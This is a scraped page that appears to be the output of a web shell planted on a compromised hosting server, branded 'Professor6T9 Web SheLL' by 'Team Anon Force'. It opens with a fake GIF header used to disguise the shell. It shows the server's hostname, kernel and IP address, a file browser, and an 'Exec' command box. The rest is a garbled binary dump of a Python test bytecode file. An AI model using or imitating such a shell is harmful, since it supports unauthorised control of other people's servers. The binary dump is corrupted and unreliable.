GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
greenlet
/
tests
/
__pycache__
[ HOME ]
Exec
Submit
File Name : test_extension_interface.cpython-312.pyc
� �0i� � � � d dl mZ d dl mZ d dlZd dlZddlmZ ddlmZ G d� de� Ze d k( rd dl Z e j � yy) � )�print_function)�absolute_importN� )�_test_extension)�TestCasec �N � e Zd Zd� Zd� Zd� Zd� Zd� Zd� Zd� Z d� Z d � Zd � Zd� Z y) � CAPITestsc �v � | j dt j t j d� � � � y )N�2 c � � y)Nr � r � �X/opt/hc_python/lib64/python3.12/site-packages/greenlet/tests/test_extension_interface.py�<lambda>z'CAPITests.test_switch.<locals>.<lambda> s � �br )�assertEqualr �test_switch�greenlet��selfs r r zCAPITests.test_switch s, � ������+�+�H�,=�,=�j�,I�J� Lr c � � d� }t j |� }| j dt j |dd�� � y )Nc � � | |z S �Nr ��x�ys r �adderz+CAPITests.test_switch_kwargs.<locals>.adder s � ��q�5�Lr � � � r )r r r �test_switch_kwargs)r r �gs r r zCAPITests.test_switch_kwargs s6 � � ����e�$������O�>�>�q�A��K�Lr c � � d� }t j |� j � }| j d t j |� � y )Nc � � d� } t j | � }|j � t j � j j |� t j � j j t d� � y )Nc �� � t j � j j � t j � j j � t d� �)Nz#Should never have reached this code)r � getcurrent�parent�switch�AssertionErrorr r r �barz2CAPITests.test_setparent.<locals>.foo.<locals>.bar sF � ��#�#�%�,�,�3�3�5� �#�#�%�,�,�3�3�5�$�%J�K�Kr zShould never reach this code)r r'